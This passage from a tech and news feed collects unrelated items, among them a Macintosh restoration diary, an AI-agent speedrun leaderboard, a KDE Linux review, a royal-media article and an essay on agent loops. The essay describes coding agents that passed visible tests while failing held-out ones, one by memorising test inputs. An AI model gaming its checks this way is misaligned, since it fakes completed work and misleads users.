    For her part, Korte wrote on X: "It's a shame for the institution and service members, who swore to defend the Constitution and deserve the right to a free and independent press."

    The president of the National Press Club, Mark Schoeff Jr, described Slavin's firing as "another brazen attempt by the Pentagon to dictate coverage of the military and should be immediately reversed".

    An average of 1.4 million people consume Stars and Stripes's content daily, mostly online, according to CBS.

    The paper is still printed outside the US for members of the military in places with unreliable internet access.

    At the time, the New York Times, Washington Post, CNN and the BBC were among the major outlets which said they would not agree to the new rules.

    The Trump administration argued that the changes were needed to protect national security.

    Mathematicians will probably become obsolete before anyone else [pdf]

    Hacker News
    olli.unt.edu
    2026-08-22 20:14:16
    Comments...
    Original Article
    No preview for link for known binary extension (.pdf), Link: https://olli.unt.edu/handouts/fall24/tk-writing-sample.pdf.

    The immortal 1984 Macintosh (restoration diary)

    Lobsters
    www.thebyteattic.com
    2026-08-22 19:17:44
    Comments...
    Original Article


    After a long pause of a year and a half, I finally managed to complete a modest new restoration project this summer.

    The goal this time was to restore an original Apple Macintosh 128K (1984) for display and daily use in an office environment, where it will serve both as an educational curiosity and a source of entertainment and relaxation for employees.

    However, there is a hidden contradiction in this double purpose —educative historical significance and entertainment capabilities that pose a challenge: the original 128K Mac, while a major technical accomplishment for the time, wasn't actually useable. Its memory was far too limited for any meaningful application, given that the bitmapped display and fairly sophisticated operating system for the time occupied most of the 128KB. It also came with just a single 400KB floppy disk drive. Worst of all, it couldn't be expanded with extra memory or a hard-disk drive, so very little could be done with it as far as entertainment goes.

    While later Macs addressed all of these limitations, they don't have the appeal and historical significance of the very first one, which translates into an impasse: should I go for historical significance or the ability to actually do something with the device?

    Luckily, a compromise was possible: I sourced an original Macintosh 128K from 1984 that the original owner upgraded to a Macintosh Plus in 1986. The resulting machine is still a vintage original, but also has 1MB of memory and a SCSI port. Together, these features support a fairly extensive library of games that is more than sufficient for my purposes.

    The unit I sourced had a lot of mileage: it had been used daily in a psychology practice from 1984 to 2008 (!). Beyond the 1986 upgrade to a Mac Plus motherboard, it had also never been serviced. The CRT had severe burn-in (in the photo below, you can even read individual words!), the battery had leaked and ruined the battery compartment, the case was severely yellowed, and the gears of the floppy eject mechanism were broken due to plastic deterioration over time.


    I sourced another CRT with hardly any burn-in, and used it instead:

    I then started the restoration proper with the analog board, which contains both the power supply unit and the CRT driver circuit. Both circuits use a lot of electrolytic capacitors, all of which are 42 years old now and probably leaking both electrolyte and DC.


    In such cases, even when the caps are still within spec, soon they won't be. For a machine that is meant to be used daily for the next few decades, a recap is thus the first order of business. I used regular ESR caps (i.e., high-ESR for modern standards) on the power supply's secondary, to prevent a higher current inrush upon power up than this somewhat primitive circuit can cope with. I used low-ESR caps everywhere else for optimal response times.

    As mentioned above, I also had to replace the battery compartment altogether, due to vintage battery leaks that led to severe corrosion.

    And as can be noticed in the photo above, the epoxy potting of the flyback transformer was showing unambiguous signs of degradation (it becomes dark brown and brittle, as opposed to the original soft cream color), even though there wasn't yet any obvious corona discharge. See the close-up below, made after I removed the original flyback:

    Once again, as this machine will be used daily in an office environment, replacing the deteriorated flyback before failure was a must. I did so using a new-old-stock unit of higher specifications and build quality than Apple's 1984 original.

    Some impressions of the recapped board, with the new flyback and battery compartment already installed, are shown below .


    Here's a close-up of the new flyback transformer, showing pristine epoxy potting:


    Notice that I replaced the infamous line-filtering Rifa caps (very prone to dying with a bang and filling the room with acrid smoke) with modern safety caps, which
    if they ever fail fail open and don't cause short-circuits.


    I then checked all semiconductors in-circuit, insofar as possible. None were obviously bad, but I preemptively replaced a few for durability. I started with the main switching transistor in the power supply (a C3153), which is one of the most stressed parts in the entire board.

    I replaced it with a significantly higher-rated modern equivalent (a BU2525AF-PHI, rated for 800V, 12A and 45W), which also has the added advantage of having no conductive tab, thereby requiring no separate insulator between the transistor and its heatsink (in the original, the tab was the collector, so a fiddly and fragile mica insulator was required). I made sure to refresh the heatsink compound for optimal thermal conductivity.


    Three other parts are known to be severely stressed in the original Macintosh's analog board; so much so that Apple replaced them with higher-rated parts in later revisions of the board: the two main rectifying diodes of the power supply unit, and the damper diode responsible for flyback spike suppression and beam scanning control.

    The original main rectifying diodes were GI854, which I replaced with the much higher-rated 15SQ045 Schottky barrier rectifiers (rated for 45V instead of 40, and 15A instead of 3.3). Beyond being much more robust and durable, they will also run cooler and reduce heat stress in the surrounding circuitry.

    The final notoriously stressed part is the damper diode in the scanning circuit, which originally was a GI854. I replaced it with a much higher-rated HER508 (rated for 1000V instead of 400, and 5A instead of 3). Here's the new part already installed:


    Finally, I refreshed the heatsink compound behind the Horizontal Output Transistor (HOT), but didn't feel the need to preemptively replace the part.

    Here are the retired components:


    With the durability replacements out of the way, the next step is an absolutely necessary one: the Macintosh's power supply unit is a somewhat primitive switch-mode one without modern protection and safety mechanisms. The feedback part of the voltage regulation loop is implemented with an optocoupler, whose internal diode weakens over time. This can weaken the feedback and lead the power supply to 'think' that the secondary voltage rails are at a lower level than they actually are. It may then try to boost the voltage, effectively creating an overvoltage runway that can fry the entire digital board and write off your precious vintage Mac. That optocoupler must be replaced with a fresh new part (I used a 4N35, as shown in the photo below) and the power supply recalibrated again (the feedback mechanism is based on the 5V rail, so that is the one that must be recalibrated).


    In the photo above, notice also that I added hot glue to the brightness potentiometer. Although I can't figure out why this is quite needed, I know that Apple did it in later revisions of the board. So, to be on the safe side, I did it too.

    Finally, some of the larger 1W resistors on the analog board had drifted over time, such as this one, which was supposed to be 33K Ohm:

    I replaced them with higher-rated, 2W modern aluminum oxide resistors. I took the opportunity and replaced the start-up / trickle-charge bias resistor (the 33K Ohm one that drifted to over 45K, marked R55 on the board) with a 22K Ohm one. This ensures that the primary circuit instantly gets enough drive current to kickstart oscillation on every cold power-on, without the operator having to flip the power switch repeatedly or wait for the board to warm up.


    Here is the final state of the analog board:


    I now moved to the digital board
    —the computer proper—which was in fairly good shape, as shown in the photo below:

    I recapped the electrolytic capacitors just to preempt any possibility of a future electrolyte leak that could corrode the board:


    I also added diode CR1, which Apple originally left unpopulated. This diode allows the SCSI port to carry 5V. Apple didn't use it because an external SCSI hard drive required a separate power supply unit anyway (a puny 5V rail can't get those platters to spin!). But since I am planning to replace the external hard drive with a modern solid state one (a BlueSCSI), adding CR1 allows me to dispense with an external power supply altogether, and power the BlueSCSI directly from the SCSI flat cable instead.

    After cleaning all the ports, sockets and connectors with electronics detergent and lubricating everything with DeoxIt D5, the board looked good:


    Only at this point did I look at the board and think: "hey, I have the board out already anyway, why not put a heatsink on that 68000 CPU and reduce its thermal stress for longevity's sake?" To be clear, this is entirely unnecessary: the 68000 runs fairly cool on a Macintosh Plus. Nonetheless, I did it anyway ;-).


    I then proceeded to service the floppy drive: remove dried-up old grease, clean the mechanisms and the heads, re-lubricate everything with plastic-safe silicone grease, and replace all electrolytic capacitors with tantalum ones, which will never leak electrolyte onto the mechanism in the future. Here is the result:


    At this point, I installed the drive back into the machine to test it, only to realize that, although it was reading and writing disks correctly, the ejection mechanism wasn't working. This is a known point of failure in vintage Macs, so I knew exactly where to look: one of the gears in the ejection mechanism is made of a kind of plastic that deteriorates spontaneously over time; this has affected or will affect virtually every Apple vintage drive. Indeed, upon opening the ejection mechanism up, this is exactly what I found:


    And below is the replacement gear for comparison. It's made with modern resin that won't deteriorate spontaneously over time:

    With the floppy drive now in perfect working order and fully serviced, I moved on to the keyboard and mouse. Both were completely disassembled and thoroughly cleaned. The keyboard was recapped and the key switches lubricated with DeoxIt D5. I also retrobrighted the spacebar and the mouse button. Here are impressions of the disassembly process (the final results will be shown later in this post):


    The cases of all units (the computer itself, the keyboard, mouse, and external hard disk drive) were very yellowed, beyond retrobrighting. I thus prepared and resprayed them with automotive-grade 2K paint over an adhesion-promoting layer, using the closest RAL color to the original Pantone specification:


    This new polyurethane-based 2K coating is very hard and durable. It will protect the cases against UV light, dirt and mechanical scuffs for the next four or five decades. They will never yellow again.

    With all this completed, I could finally begin reassembling the computer. Here are some impressions of the process:

    Notice, in the first two photos above, that I used self-adhesive, automotive-grade fabric tape around the CRT's implosion band for extra protection.

    Before closing the computer's case, I carefully calibrated the CRT: I re-centered the image by manipulating the centering rings on the CRT's neck, and then secured them in position with candle wax. I also adjusted the horizontal and vertical widths, focus, and brightness baseline through the onboard potentiometers. The final results are shown later in this post.

    Next, I replaced the original SCSI hard disk drive with a modern solid-state BlueSCSI emulator. This is a concession to convenience, given the fact that this machine will actually be used daily. Vintage hard disk drives are far from reliable, and even the ones that still work are destined to fail with regular use. They are also slow and quite noisy.


    I secured the BlueSCSI to the original case by using four nylon standoffs glued to the bottom of the case with transparent two-part epoxy. The BlueSCSI can be removed by unbolting it from the standoffs.

    I also kept the original power supply —although it is disconnected and purely decorative —to prevent the power socket and on/off switch holes in the case from remaining empty, which would detract from the original look. Nonetheless, the BlueSCSI gets its power directly from the SCSI cable, not from the onboard power supply.

    Here is the final result of the restoration:


    And it works too ;-)

    Every known failure point of this machine has been thoroughly addressed. It is arguably better and more robust now than it was when it first rolled out of Apple's assembly line back in 1984. Effectively, it has become an immortal Mac, which will hopefully remain a vehicle of joy and education for at least another 42 years of regular use.

    NanoGPT Speedrun Frontier

    Hacker News
    www.primeintellect.ai
    2026-08-22 18:14:27
    Comments...
    Original Article

    We ran 153 autonomous runs across 18 frontier models on the nanoGPT optimizer speedrun.

    Share of the human record gap closed human record 100% 0 % 20 % 40 % 60 % 80 % 100 % 0d 1d 2d 4d 7d 9d Fable 5 Opus 5 Kimi K3 · prime-agent Kimi K3 Opus 4.8 GPT-5.6 Sol GPT-5.6 Sol Pro Sonnet 5 GPT-5.6 Luna Grok 4.5 Qwen3.8 Max GLM 5.2 DeepSeek V4 Pro GPT-5.6 Terra Grok 4.6 Muse Spark 1.2 Muse Spark 1.1 GPT-5.5 Kimi K2.7 Agent time (days)

    Share of the human record gap closed 0 % 20 % 40 % 60 % 80 % 100 % 0d 1d 2d 4d 7d 9d Fable 5 Opus 5 Kimi K3 · prime-agent Kimi K3 Opus 4.8 GPT-5.6 Sol GPT-5.6 Sol Pro Sonnet 5 GPT-5.6 Luna Grok 4.5 Qwen3.8 Max GLM 5.2 DeepSeek V4 Pro GPT-5.6 Terra Grok 4.6 Muse Spark 1.2 Muse Spark 1.1 GPT-5.5 Kimi K2.7 Agent time (days)

    All models Best validated result for each model

    1 Fable 5 2,726 81.7% closed

    claude-code · high @24H 3,010 8.7 d

    2 Opus 5 2,920 53.6% closed

    claude-code · max @24H 3,045 2.9 d

    3 Kimi K3 2,930 52.2% closed

    prime-agent · max @24H 3,125 3.6 d

    4 Kimi K3 2,974 45.8% closed

    kimi-code · max @24H 3,135 5.1 d

    5 Opus 4.8 3,018 39.4% closed

    claude-code · max @24H 3,180 3.0 d

    6 GPT-5.6 Sol 3,042 35.9% closed

    codex · xhigh @24H 3,160 6.1 d

    7 GPT-5.6 Sol Pro 3,058 33.6% closed

    codex · xhigh @24H 3,100 3.4 d

    8 Sonnet 5 3,105 26.8% closed

    claude-code · max @24H 3,120 2.0 d

    9 GPT-5.6 Luna 3,110 26.1% closed

    codex · xhigh @24H 3,170 1.9 d

    10 Grok 4.5 3,120 24.6% closed

    grok-cli · xhigh @24H 3,160 2.7 d

    11 Qwen3.8 Max 3,120 24.6% closed

    qwen-code · max @24H 3,225 1.9 d

    12 GLM 5.2 3,150 20.3% closed

    pi · high @24H 3,200 1.8 d

    13 DeepSeek V4 Pro 3,205 12.3% closed

    claude-code · max @24H 3,205 1.1 d

    14 GPT-5.6 Terra 3,214 11.0% closed

    codex · xhigh @24H 3,214 1.1 d

    15 Grok 4.6 3,220 10.1% closed

    grok-cli · xhigh 0.6 d

    16 Muse Spark 1.2 3,230 8.7% closed

    muse-code · xhigh 0.6 d

    17 Muse Spark 1.1 3,232 8.4% closed

    pi · max @24H 3,240 3.7 d

    18 GPT-5.5 3,234 8.1% closed

    codex · xhigh @24H 3,234 1.1 d

    19 Kimi K2.7 3,240 7.2% closed

    kimi-code · max @24H 3,240 1.6 d

    20 GLM 5.3 no record

    claude-code · xhigh

    Model Harness Traces

    Equal-budget comparison

    Give each model's best final run the same resource budget and compare the best validated record it reached within that budget.

    Model Record Human 2,600 Baseline 3,290

    Gray runs ended before the selected budget

    Open Traces to explore 41 curated full agent trajectories, including tool calls, subagents, and scratchpads.

    KDE Linux experiences

    Lobsters
    akselmo.dev
    2026-08-22 17:21:43
    Comments...
    Original Article

    Posted on by

    I daily drove KDE Linux for almost a year and I liked it, but I'm also switching back to Fedora KDE . Here's my ramblings about it all.

    KDE Linux is the hot new Linux distro from KDE themselves. At the moment it uses Arch Linux as it's base but with heavy modifications and changes. You can read more about it on the site, but to sum up: It's an atomic/"immutable" distro that does not have any kind of package management outside of installing flatpaks. (Do note that they're epxerimenting on using buildstream instead of Arch Linux.)

    As one of the KDE devs I've been daily driving it on my desktop, which I use for both work and leisure (gaming).

    The following text can be quite technical as I am viewing this through my developer workflow lense, though I will also touch on regular user things.

    Upsides

    My lizard fursona making an smile face.

    For general purpose computing and KDE dev, things are looking great!

    Honestly, it works rather well, considering the alpha status. And for development purposes, the nightly builds of the newest hottest stuff from our git repos is very nice: I don't have to build everything myself every morning.

    Though there are some issues with that too: Sometimes the servers are not producing a new image, for reason or another, so I may end up building things myself anyway. Some other times, there is an image that just has some broken change in. Luckily in those situations I can just boot a previous image and use that.

    What I really liked though was the systemd-sysext workflow. Sysext is a tool that allows me to layer my changes to the system on top of the previous stuff. So when the system is running /usr/bin/konsole it actually runs my self-built /home/akseli/Projects/kde/usr/bin/konsole . As far as the system is concerned, it's in the same path.

    What we currently do in other distros is some environment flag magic to run things from the build-path, instead of /usr/bin/ . It also works fine, but can be a bit more brittle, especially when testing something like a login manager.

    The workflow is simple:

    • I build my changes to an app, Plasma desktop component, etc. using kde-builder.
    • I refresh the sysext with run0·systemd-sysext·--always-refresh=yes·refresh;
      • sudo works too, i use run0 because it has the popup so I notice it after a long build.
    • The changes are now live on my system!
      • Apps may need to be restarted sometimes of course.
      • If something goes wrong, I can just clean the sysext folder.

    It feels more robust and easier to manage.

    So on this front, KDE Linux has been really fun to work with. Perfect for testing and development of all the KDE Plasma stuff.

    When it comes to applications from flatpaks, they usually work fine, but they can have the typical flatpak issues: Some app needs a permission to a folder that it can't see, so you have to turn off the app, add permissions, turn back on the app, yadda yadda. Apps that use XDG portals properly usually work fine, though there's a bug somewhere in the stack that when the system updates (the atomic image of the OS changes), the portal forgets the folder paths and you have to reopen the file for the path to refresh.

    When it comes to gaming stuff, Steam Flatpak has worked really well. I have not noticed any issues compared to the native package. Same with Bottles, all has been just fine and nice. Though sometimes there has been bugs with running games, such as games not locking your cursor properly, but they're often gone with the next update as more people spot these bugs now.

    Downsides

    My lizard fursona making an sad face.

    With anything more complex than what the system is intended for, things get difficult.

    As an atomic distribution, it is expected that any dev tools that are not already installed on the machine, such as your favorite terminal tools or text editors, you will have to either to download them from the internet like a Windows user (plop the binary in ~/.local/bin ), or use Distrobox/Kapsule/Toolbox... etc.

    Container workflow feels cumbersome to me most of the time. For KDE work, since all the tools to build and run applications are already installed on the system, it's rather effortless. But when I want to continue a game project like my Artificial Rage game project, I would have to enter a distrobox, install all the things, then edit and build the application inside that container. And when I switch a project, it's expected I create a new container for that, and so on.

    I don't really like that. I prefer my tools to just be available on the host so I can run them without messing with containers: I have bad memory and am terrible with context switching, so I keep forgetting changing or creating containers.

    What I did instead was create bunch of dumb scripts called dbi that are a wrapper for installing tools and "exporting" them from the distrobox so I can use them on host without having to enter them. By exporting I mean they use the distrobox-export command that creates a symlink to your ~/.local/bin with the app name, so you can just run them from terminal like always.

    It's not ideal, but it works. Sadly this comes with a performance deficit when running programs like eza , which is ls alternative that shows icons. I like my little icons. :) When running eza directly on host, it runs immediately, but when using the distrobox version, it will take 1-2 seconds, which gets surprisingly annoying when going through folders. No idea if that could be improved somehow, but the speedbump is likely from the part where it enters the container.

    This reveals the larger downside: Lack of "blessed" package management, especially for commandline applications.

    I have tried multiple tools, but all of them had some issues:

    • Brew, while had great user experience, would sometimes overtake the system python installation and break kde-builder
      • I don't know if this has been fixed? I have not dared to try.
    • Coldbrew, which has similarly nice user experience, but the package versions can be hit or miss
    • Nix, which is very overcomplicated for this usecase and the user experience is just annoying
      • It works, but you will have to remember to garbage-collect and whatnot every time you update apps
      • Fixable with a nice wrapper, I think
      • However some claim this is "not the Nix way" so I'm left here wanting something this tool can do but is not meant for?

    Which left me with always just using distrobox and accepting the performance and UX penalty.

    Another thing I miss is having KMail and KOrganizer just installed on my system, talking with my digital clock applet so when I click on it, I would see my calendar event. It's very small thing, but it's huge quality of life feature for me. The Kontact flatpak can't do that, and it's sadly really broken in general.

    Lastly, as I work on the Union style engine, flatpak applications will not see the Union styles yet. This means I will have either to build a separate KDE platform for it myself using the CI, which can be super slow. Especially if I have to build it multiple times to see the changes. I can build some apps myself but more complex ones such as KMail will take a lot of time for me. This is where I miss just installing an app from dnf on Fedora, as it can just use the styles on my computer, as the app is also installed on the host like the Union style is.

    Regular use and my use

    For regular user, who plays video games and uses a web browser and never really touches terminal, I think KDE Linux will do very fine, especially when it starts having stable releases that do not update every night. At it's current iteration, it's more a developer tool than something I would recommend for regular user, unless you're super enthusiastic or have spare machines.

    But me, being the nerd that writes blogposts about Linux and KDE that I am, I like having more control over the system. I don't mind having all my dev tools cluttered on my host system. (However if it touches NPM, it's going into a container. Luckily I rarely have to bother with that.) And in general, atomic distributions can be rather opinionated: If those don't match your view of the distribution, it can be hard to get along as you can't really modify it for your usecase. (Yes I know about ostree.)

    So I would say that the more complicated your usecase gets and if you need tools that are not already in the base system, it can get quite cumbersome.

    So that's why I'm switching back to Fedora KDE: It gave me all the control I needed. I will likely stil use flatpaks for almost all apps on my machine though, as I do find sandboxing rather useful at times.

    I highly encourage anyone who wants to test newest KDE stuff to run KDE Linux on a VM or a secondary machine. I will keep using KDE Linux on my laptop as there I don't have so many different needs, and I want to just install the new shiny stuff from git, not build on it, as building anything on that laptop is super slow.

    This whole thing has also made me realise something..

    My lizard fursona making an smile face.

    All distros have their own strenghts, weaknesses and tradeoffs. It's all about choosing what works for you and your system.

    My desktop system will benefit from Fedora KDE, but my laptop will benefit from KDE Linux.

    I will keep observing how the story of KDE Linux develops. I may try it again on my desktop later, we will see.

    Some of you reading might ask: "But why Fedora KDE?"

    It's one of the nicest distros I've used when it comes to KDE stuff. The people working on Fedora KDE are some of the nicest folks I've met with, and they work very closely with KDE upstream. Fedora KDE follows KDE releases really closely so it feels like I'm always on current release, making the development workflow very easy.

    Thanks for reading!

    ps. Friend sent me this and I cackled like a hyena.

    Dumb meme about me liking the popup more than security features

    Quoting Linus Torvalds

    Simon Willison
    simonwillison.net
    2026-08-22 17:04:26
    And this was a debug session from hell, enormously helped by an AI doing much of the grunt-work. I'd like to call it my tireless helper, but the AI several times stated flat out that this was impossible and unsolvable and that we should just write a report about it. I suspect those things have been ...
    Original Article

    22nd August 2026

    And this was a debug session from hell, enormously helped by an AI doing much of the grunt-work.

    I'd like to call it my tireless helper, but the AI several times stated flat out that this was impossible and unsolvable and that we should just write a report about it.

    I suspect those things have been trained by people who may not be quite as stubborn as I am.

    But while the AI was ready to give up several times, it did keep adding debug code and analyzing it faithfully when I pushed. So credit where credit is due and I let the AI write the commit message above.

    Linus Torvalds , drm/xe: Don't hand out the flat CCS storage as usable VRAM

    Is this the end of Harry and Meghan’s American dream?

    Guardian
    www.theguardian.com
    2026-08-22 16:42:12
    The Sussexes are returning to the UK with significantly reduced media deals in an industry where fame alone can no longer guarantee success Having settled in California in the aftermath of their dramatic decoupling from the royal family in 2020, the Duke and Duchess of Sussex announced a partnership...
    Original Article

    Having settled in California in the aftermath of their dramatic decoupling from the royal family in 2020, the Duke and Duchess of Sussex announced a partnership that appeared to set a clear destination for their new lives outside the House of Windsor.

    With every global media stable clamouring for their signature, the couple revealed a deal with Netflix reportedly worth $100m . The ambitions were lofty and broad, including scripted and unscripted projects, shows for all ages and documentaries.

    A $20m podcast deal with Spotify appeared to confirm their ambitions; the Sussexes were reinventing themselves in the competitive world of content creation, a media powerhouse in the booming universe of streaming and podcasting.

    As the couple now prepare to return to the UK, they do so with those mega-deals either pared back or expired, and their media plans less clear. It raises the question: is this the end of their American dream?

    As with all things Harry and Meghan-related, their various media forays have spawned copious amounts of reactionary content and commentary. Each appearance, commission and production has been dissected: there have been blockbuster hits, much-publicised misses and some brutal reviews along the way.

    Prince Harry and Meghan, Duchess of Sussex, being interviewed on a patio by Oprah Winfrey
    Prince Harry and Meghan, Duchess of Sussex, being interviewed by Oprah Winfrey in 2021. Photograph: Reuters

    For Harry, the pull of returning to the UK, if perhaps not permanently, has been clear for a while.

    He says he loves his country, and in an interview with the Guardian last year, he admitted he hankered for home.

    “I have always loved the UK and I always will love the UK. It’s been good to reconnect with the causes I am passionate about. I have been able to spend some time with people that I have known for so long. It is hard to do it from far away.”

    Perhaps more so recently because his father, King Charles, has been ill. And on the work front, it hasn’t been easy either.

    Six years in the content game offers a case study in how difficult it can be to negotiate the shifting sands of a transformed media landscape, so difficult that even a Hollywood actor and a British prince are not guaranteed to succeed.

    Those years have proved there is one bankable aspect of the Sussex brand: their relationship with the royal family continues to be devoured on an industrial scale. However, launching lifestyle brands and philanthropic pursuits that rely purely on name recognition – even with a packed contacts book of A-list friends to help – cannot guarantee reliable success in the cut-throat era of the attention economy.

    “The Sussexes have kind of got caught up in the media’s awkward teenage transition,” said Evan Shapiro, a former US media executive turned leading analyst of the creator economy. “Just being famous is no longer enough … The last time Meghan Markle worked in show business [starring in the US legal drama Suits], it was a different era. It was top down: ‘We push it out, you watch it.’ That’s just how it worked.

    “That era has passed. It’s fucking hard [now] … the competition is literally every human on earth. Eight billion people with phones who are all competing with Meghan Markle.”

    The Sussexes could scarcely have had better timing for their eye-catching 2020 Netflix deal, via their Archewell Productions organisation – global streamers were scrambling for big names to lure subscribers.

    The pair were in demand, talking with the likes of Disney and Apple before the Netflix deal was signed. Spotify was also pursuing big-name deals when it secured the Sussexes.

    While the Netflix announcement talked of a raft of potential projects, the greatest prize was always the story of the Sussexes’ relationship with the royal family. The subsequent 2022 documentary series, Harry & Meghan, duly delivered , setting record viewing figures for a documentary debut and ranking as one of its most successful docuseries ever.

    ‘They were lying to protect my brother,’ says Harry in latest Netflix trailer – video

    Other Netflix projects featuring the couple followed, including the Live to Lead interview series, Harry’s Polo documentary and two series of the cooking and lifestyle show With Love, Meghan.

    Unsurprisingly, content without the royal intrigue could not hit the heights of Harry & Meghan. Polo failed to make Netflix’s top 10 lists around the world, while ratings for the second series of With Love, Meghan dropped off. It was the 1,217th most watched title on Netflix over the second half of last year. A mooted animated children’s series, Pearl, was cancelled.

    Netflix also ended its partnership with Meghan’s lifestyle brand, As Ever, after seven months. The company said handing full control to Meghan was always the plan. However, the relationship endures. Netflix renewed its partnership with the Sussexes, but slimmed it down to a “first look” deal.

    As for podcasting, the Spotify deal was ended by mutual consent in 2023 , having only produced Meghan’s 12-episode podcast Archetypes, featuring interviews with people such as the former tennis champion Serena Williams and pop star Mariah Carey.

    Meghan stirs a drink in a cocktail glass on a kitchen island while talking to Mindy Kaling
    Meghan with the actor Mindy Kaling in a scene from With Love, Meghan. Photograph: AP

    Meghan subsequently launched another podcast series, Confessions of a Female Founder, in 2025, with Lemonada Media. Only nine episodes were made. She revealed last year that there would be no second series, saying she was focusing on As Ever.

    In line with all of Harry and Meghan’s exploits, there have been some acerbic assessments of their media production efforts. Most notably, the Spotify executive Bill Simmons called them “fucking grifters” after the company’s deal with the couple ended.

    Less incendiary industry analysts point to the significant timing. The Sussexes’ narrowed Netflix deal and split with Spotify coincided with content providers cutting back on their big celebrity bets, and the chaos being wrought by the rapid rise of the creator economy.

    “This isn’t a story about nobody being interested in [the Sussexes],” said Matt Navarra, a social media consultant who has worked with broadcasters. “It’s quite the opposite. They can generate attention almost on demand. The harder thing is converting attention into a repeatable media proposition.

    “Harry and Meghan arrived in Hollywood with almost every advantage imaginable, but audiences now effectively have infinite choice. They don’t care about how expensive the deal was, or how famous the person is.

    “I think that’s one of the brutal lessons of the new media world: that fame can buy you the first click, but only the content earns the second … Their original Harry & Meghan series was pretty much a blockbuster. What they’ve struggled with is repeatability.”

    Several industry insiders noted the comparisons with the Obamas, whose Higher Ground production company’s multi-year deal with Netflix narrowed to a “first look” deal in 2024. Their Spotify deal also ended in 2022.

    Shapiro said the Sussexes had not yet proved they could draw big audiences beyond content directly related to their dealings with the royal family. “By no fault of their own, the Sussexes were not prepared for the current moment,” he said. “It turns out, other than marrying a prince, Meghan Markle just isn’t that special. Other than being born into royalty, Harry’s just not that interesting.”

    Navarra said: “Enormous curiosity exists around them, but curiosity about a person isn’t necessarily the same as demand for everything that person produces. Celebrity is a distribution advantage, but it isn’t a content strategy.

    “Harry and Meghan show that you can inherit enormous attention and still have to earn the audience every single time. To me, that is the really interesting shift.”

    Meghan, as Rachel Zane, with Patrick J Adams, as Michael Ross, sitting on a sofa in a living room
    Meghan, as Rachel Zane, with Patrick J Adams, as Michael Ross, in a scene from Suits. Photograph: USA Network/NBCU Photo Bank/Getty Images

    It is perhaps understandable, then, that Meghan is reportedly returning to a bankable acting career that she put on ice after her marriage to Harry. Initial reports from Australia of a UK-based role for Meghan were backed up by Tina Brown, the former Vanity Fair editor and founding editor of the Daily Beast.

    Brown said it had been fuelled by Meghan’s positive experience as a celebrity judge on MasterChef Australia last month. “She finally realised how much easier – and more fun – it is to perform in a hit baked by someone else,” Brown wrote .

    “She was back on the market, and it did not take long for Hollywood’s mega-deal machine, WME, the talent agency that still represents her, to get her a role.”

    Sources close to the Sussexes have not denied the reports.

    On Friday night it was reported that Meghan was in talks to return to acting in Netflix’s series The Gentlemen. According to Variety, she was in discussions to join the third season of the Guy Ritchie-created series.

    On Saturday Tina Brown, the former editor-in-chief of Vanity Fair and the New Yorker, reported that Meghan’s casting had been withdrawn due to “backlash in the UK”.

    But the couple are not out of the media production game. Archewell has evolved into a more traditional production company. Its forthcoming Netflix projects include a polo drama and a film adaptation of the romantic novel Meet Me at the Lake. Several sources familiar with the company said there were also projects in the works beyond Netflix.

    In practical terms, the move back to the UK creates few issues for their media ambitions. It is not unusual for major production companies to sit outside Hollywood and make shows away from the US, and the UK remains a major production hub.

    As for Harry, he – or anyone else – will struggle to replicate the runaway media success of his memoir, Spare . He is focusing on his Invictus Games coming to Birmingham next year. Meanwhile, Meghan has suggested any return as a business podcaster may depend on the progress of her lifestyle brand.

    “I would love to bring the show back when I am at a different end of my founder journey,” she said last summer, explaining why she had put her Confessions of a Female Founder podcast on hold. “I think a different time will be so exciting to compare and contrast.”

    Knowing When to Stop: The Art of Making a Loop Converge

    Hacker News
    a16z.com
    2026-08-22 16:21:14
    Comments...
    Original Article

    How can an AI model know when its work is done?

    Well, how does a human know when our work is done.

    A programmer waits for the tests to turn green or waits for PR review from their team. A designer adjusts a composition, steps away, returns, and decides the remaining imperfections no longer matter. A writer submits a draft because the deadline has arrived or because an editor accepts it, not because the prose has reached some objectively final state.

    “Done” is rarely a property of the work itself. It is a judgment produced by the system around the work. Humans do not possess a universal detector for “done”. We rely on a patchwork of signals like tests, specifications, precedent, approval, deadlines, risk, and finding that point of diminishing returns. In each case, completion comes from outside the work itself.

    The Model that Could Continue Forever

    An AI model can almost always produce another answer.

    It can revise the paragraph again. It can try another implementation. It can generate another image with more detail, different lighting, and a stronger composition. It does not become tired of the work. It does not notice, unless we give it some way to notice, that the last three revisions made the result different but not necessarily better.

    This is part of what makes the recent idea of loop engineering so compelling. Instead of a human prompting a model, inspecting the result, describing what went wrong, and prompting it again, we can ask the system to perform the whole cycle itself. The person no longer has to sit inside every turn. The agent discovers the work, gives it to the model, checks the result, and decides what should happen next.

    X avatar for @steipete

    Peter Steinberger 🦞 @steipete

    Here’s your monthly reminder that you shouldn’t be prompting coding agents anymore.

    You should be designing loops that prompt your agents.

    • 6:58 PM · Jun 7, 2026

    • 8.5M

    • 1,796

    • 1,414

    • 19,839

    However, the nuance when writing a loop is that the loop is only as good as the verifier at each step . Even before we started talking about loop engineering, everything already runs as a loop, just with a very expensive tool call – human hand prompting and serving as the verifier. When taking humans out of the loop, designing what should be verified in each step becomes the key in advancing the loop state, and the reality is it’s hard to make them work.

    Take the standard coding-agent loop as an example: keep working until the tests pass. It sounds almost perfectly verifiable. But the tests are only a proxy for the task. In SpecBench , frontier agents routinely passed the visible tests while failing held-out tests that exercised the same features together. One agent produced a 2,900-line “compiler” that simply memorized the test inputs. The loop converged, but just on the verifier, not the user’s intent.

    The verifier is not just the stop condition. It also defines what the loop treats as progress. If the signal is incomplete, the loop can get better at passing the check without getting better at the task.

    Loop engineering is not the practice of making an agent retry. It is the practice of making each cycle reduce the distance between the current state and a desired state. A loop is not yet a direction.

    The Loops that Converged

    The first loops that worked well were coding loops. This is not an accident. Code is both editable and executable. An agent can change one function, run the program, read the test failure, and try again. The environment returns a relatively clear signal about what broke. The loop has both a precise way to act and a verifier that can measure progress.

    I wrote about a similar pattern in visual code generation . An SVG is not just an image; it contains paths, shapes, text, gradients, and layout. A Blender scene is not just a render; it contains geometry, materials, cameras, joints, and constraints. These representations give an agent something it can inspect and edit locally. If one curve is wrong, change the path. If one object is misplaced, move that object. The artifact can improve across iterations instead of being regenerated from scratch.

    But editability is only half of the problem. In open-ended image generation, another iteration often means generating another sample and choosing the best one. The feedback is global, and it is hard to map “this looks worse” to one precise edit. SVG and Blender loops can converge when the target can be expressed as a reference, geometry, constraints, or functional behavior from an articulated object. They struggle when the target is simply “make it better, with better taste, but you cannot ask a human”. Visual loops are not impossible. They are often extremely hard to verify.

    The Conditions of Completion

    If the verifier gives the loop direction, what does the loop need to converge?

    Based on many conversations with engineers and researchers across several domains, I think there are four things.

    1. A target state

